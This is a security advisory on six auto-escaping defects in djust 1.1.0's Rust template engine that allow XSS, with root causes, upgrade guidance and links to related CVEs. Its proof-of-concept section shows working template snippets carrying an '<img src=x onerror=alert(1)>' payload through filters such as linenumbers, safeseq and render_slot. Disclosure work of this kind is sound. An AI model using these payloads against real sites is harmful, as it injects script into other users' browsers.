djust: Six Template-Layer XSS Defects via Broken Auto-Escape
Six independent bugs in djust's template engine cause attacker-controlled input to bypass Django's HTML escaping and execute as live JavaScript in the browser, affecting common patterns like filter…
The problem
djust 1.1.0 contains six distinct auto-escaping failures in its Rust-backed template engine. Each defect shares the same shape: a filter or tag handler that defers escaping to render time, combined with something downstream that strips or suppresses that escape.
The affected surfaces are: the linenumbers, escape, linebreaks, and linebreaksbr filters; the safeseq and unordered_list filters when given a string instead of a sequence; a per-view safe-grant that persists across WebSocket renders and contaminates later untrusted values; and djust's own {% render_slot %} tag, which inserts its return value verbatim.
Three of the six defects (safeseq/unordered_list string path, the persistent safe-grant, and render_slot) require no unusual template construct and no |safe anywhere in the template.
Proof of concept
A working proof-of-concept for this issue in djust, with the exact payload below.
# Defect 1 — linenumbers defers escaping; |safe suppresses it
{{ p|linenumbers|safe }}
# p = '<img src=x onerror=alert(1)>'
# djust emits: 1. <img src=x onerror=alert(1)> <- executes
# Django emits: 1. <img src=x onerror=alert(1)>
# Also exploitable without |safe via any downstream HTML-aware filter:
{{ p|linenumbers|truncatechars_html:"5" }}
# Defect 2 — escape is a no-op; |safe chain reads as "safe to emit" but isn't
{{ p|escape|safe }}
# p = '<img src=x onerror=alert(1)>'
# djust emits raw input; Django double-escapes (correct)
# Defect 3 — safeseq/unordered_list on a string: becomes an alias for |safe
{{ hostile|safeseq }}
# hostile = '<img src=x onerror=alert(1)>'
# emits input verbatim; no |safe anywhere in the template
# Defect 4 — safe grant persists across WebSocket renders
# render 1: p = mark_safe('<b>trusted</b>') -> correct
# render 2: p = '<img src=x onerror=alert(1)>' -> executes (bare {{ p }})
# Defect 5 — render_slot emits slot content raw
{% render_slot p %}
# p = '<img src=x onerror=alert(1)>'
# djust emits: <img src=x onerror=alert(1)> <- executes
# Django emits: <img src=x onerror=alert(1)>
# Defect 6 — linebreaks content escapes only when |safe is present (the only spelling that renders correctly)
{{ bio|linebreaks }} # renders literal '<p>' text (visibly broken, not exploitable)
{{ bio|linebreaks|safe }} # bio = '<img src=x onerror=alert(1)>' -> executesThe root cause is CWE-116 (improper output encoding). djust's Rust template engine deferred HTML escaping to render time for all six surfaces rather than escaping eagerly at the filter/tag boundary the way Django does.
For filters like escape and linenumbers, the engine returned the input unchanged and relied on the auto-escape context to escape later. Any filter or grant downstream that marks output safe (|safe, safeseq's unconditional grant, or truncatechars_html's HTML-aware read) then consumed the raw string as trusted markup.
The persistent safe-grant defect is architectural: the view's context map never revoked a safety flag once set, so a key marked mark_safe on one WebSocket render remained marked safe on every subsequent render of the same connection, even when the value changed to attacker input.
The render_slot defect mirrors Django's SimpleNode.render gap: Django runs conditional_escape over a simple_tag return unless it carries __html__; djust inserted the return verbatim.
The 1.1.1 patch re-implements eager escaping at each filter and tag boundary against the 1.1.0 codebase (back-porting main's value-level safety model was not feasible). Three documented side effects, all in the over-escaping direction, are noted in the 1.1.1 changelog.
The fix
Upgrade to djust 1.1.1 (or 1.2.0+ for complete coverage). Note: application-written tag handlers that return attacker data as a plain str, and {% with %}/{% for %} binds that inherit an unearned safety grant, are not fixed in 1.1.1 and require 1.2.0. There is no complete workaround short of upgrading; as a partial measure, avoid |safe after any filter in a chain, avoid safeseq/unordered_list on values that may be strings, and avoid reusing a context variable for both mark_safe content and untrusted input.
Related research
- highdjust: mark_safe Context Key Inheritance XSS
- high · 7.4CVE-2026-61592CVE-2026-61592: djust SSE Session Hijack via Client-Controlled session_id
- high · 8.1CVE-2026-61591CVE-2026-61591: djust Unsigned State Snapshot Privilege Escalation
- high · 7.7CVE-2026-61595CVE-2026-61595: djust Multi-Tenant Isolation Fails Open on WebSocket/SSE Path